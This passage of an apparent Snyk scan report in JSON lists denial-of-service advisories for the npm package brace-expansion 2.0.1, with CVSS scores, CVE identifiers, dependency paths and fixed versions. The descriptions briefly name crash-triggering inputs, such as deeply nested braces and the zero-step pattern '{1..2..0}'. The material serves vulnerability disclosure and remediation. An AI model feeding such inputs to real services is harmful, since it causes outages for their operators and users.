Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
